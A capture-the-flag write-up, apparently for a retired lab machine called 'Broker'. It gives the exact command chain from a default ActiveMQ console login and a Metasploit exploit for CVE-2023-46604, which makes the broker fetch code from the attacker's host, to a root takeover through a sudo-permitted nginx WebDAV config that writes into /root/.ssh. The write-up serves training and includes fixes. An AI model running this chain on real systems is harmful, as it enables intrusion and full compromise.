Broker
Summary
The target runs Apache ActiveMQ with an unusually wide surface — a Jetty console, MQTT, STOMP and the OpenWire binary protocol — and the console still answers to the password it shipped with. That login is worth having in its own right, and it is also how the version gets confirmed: the broker's own management bean reports 5.15.15, which is inside the range affected by CVE-2023-46604.
That flaw is in OpenWire, not in the console, and it needs no credential at all: a crafted exception packet makes the broker instantiate a class from an XML file it fetches, which is remote code execution as the activemq service account. Rather than hold an unstable session over a deserialisation bug, I used a single command to append my own key to that account's authorized_keys, and carried on over SSH.
Root is a sudo rule: activemq may run nginx as root, and nginx takes its entire configuration from -c. The configuration is the payload — a server running as root with WebDAV writes enabled and /root/.ssh as its document root — so a PUT drops an authorized_keys file into root's home, and the next SSH session is root's.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Some commands also carry a value in angle brackets — <your-public-key> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 1
The whole range: a broker listens on several ports and the interesting one is not the console.
$ nmap -sV -Pn -p- --min-rate 5000 $TARGETExact commands 3
Confirm the console requires authentication (expect 401 + ActiveMQRealm).
$ curl -sS -i http://$TARGET:8161/admin/Test the vendor default password; HTTP 200 confirms successful login.
$ curl -sS -i -u admin:admin http://$TARGET:8161/admin/index.jspJolokia reads JMX over HTTP. The Origin header is required; without it the bridge refuses the request.
$ curl -sS -u admin:admin -H "Origin: http://$TARGET:8161" "http://$TARGET:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/BrokerVersion"FixReplace the factory-default ActiveMQ administrative credentials immediately after installationCritical
Exact commands 3
The key the one-shot command will authorise.
$ ssh-keygen -t ed25519 -N '' -f /tmp/broker_keyTARGET 2 is Unix Compatible and cmd/unix/generic runs a single command. SRVHOST is where the module serves the XML the broker fetches and instantiates.
$ msfconsole -q -x "use exploit/multi/misc/apache_activemq_rce_cve_2023_46604; set RHOSTS $TARGET; set TARGET 2; set PAYLOAD cmd/unix/generic; set CMD 'mkdir -p /home/activemq/.ssh && echo <your-public-key> >> /home/activemq/.ssh/authorized_keys && chmod 600 /home/activemq/.ssh/authorized_keys'; set SRVHOST $ATTACKER_IP; run"A stable shell on the key just planted, rather than a session that dies with the exploit.
$ ssh -i /tmp/broker_key -o StrictHostKeyChecking=no activemq@$TARGET 'id'FixPatch Apache ActiveMQ to a version that is not affected by CVE-2023-46604Critical
Exact commands 1
Uid 1000 is the activemq service account -> <user.txt>
$ ssh -i /tmp/broker_key activemq@$TARGET 'id; hostname; cat /home/activemq/user.txt'Exact commands 1
List sudo privileges for the activemq account; look for NOPASSWD entries.
$ sudo -l
(root) NOPASSWD: /usr/sbin/nginxFixRemove the unrestricted sudo rule that allows the activemq account to run nginx as rootHigh
nginx -V confirms, and activemq may run nginx as root without a password. Nginx takes its whole configuration from -c, so the config is the payload: a server block running as root, document root /root/.ssh, and dav_methods PUT. Started that way, nginx will write a file into root's .ssh directory on request — so PUT an authorized_keys containing my own public key, and root accepts it over SSH. Writing a key is worth more than reading a flag: it is a shell rather than a string.Exact commands 5
The WebDAV module has to be compiled in; this is what makes the config below work.
$ nginx -V 2>&1 | tr ' ' '\n' | grep -i davThe whole configuration comes from -c, so user root and the document root are mine to choose.
$ cat > /tmp/nginx_rootdav.conf << 'EOF'
user root;
events {}
http {
server {
listen 127.0.0.1:8888;
root /root/.ssh;
dav_methods PUT;
create_full_put_path on;
dav_access user:rw;
}
}
EOFThe sudo rule is passwordless, which -n proves without prompting.
$ sudo -n nginx -c /tmp/nginx_rootdav.confNginx writes the file as root, into root's own .ssh directory.
$ curl -sS -X PUT --data-binary @/tmp/broker_key.pub http://127.0.0.1:8888/authorized_keysLog in on the key just authorised -> <root.txt>
$ ssh -i /tmp/broker_key root@$TARGET 'id; cat /root/root.txt'
uid=0(root)Attack patterns used
The transferable techniques behind this compromise.
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize externally controlled data can be driven into executing code, by two routes that look alike and are not. In Java, .NET and PHP the payload is a 'gadget chain' — a graph of classes already on the classpath whose side effects during reconstruction add up to execution; ysoserial and ysoserial.net build them, and ViewState, Java RMI/JMX and PHP's unserialize() are the usual entry points. In Python the object names its own constructor: pickle calls whatever __reduce__ returns, so a payload is a few lines that hand back os.system and its argument, with no gadget hunting at all. PyYAML's yaml.load without SafeLoader is the same primitive wearing a different name.
Why it works
A deserializer reconstructs an arbitrary object graph and invokes methods on it before any application code has seen the input. Remediate by not deserializing untrusted data natively at all — prefer a data format that carries no types, such as JSON parsed into known structures — and where that is impossible, sign or encrypt the serialized state and enforce a strict type allow-list. In Python that means json over pickle and yaml.safe_load over yaml.load.
Read more
Public Exploit / Metasploit ModuleService RCET1210
What it is
Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.
Why it works
Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |
| 1883/tcp | mqtt |
| 8161/tcp | http Jetty 9.4.39.v20210325 |
| 61613/tcp | unknown recon-sweep-discovered |
| 61614/tcp | unknown recon-sweep-discovered |
| 61616/tcp | unknown recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.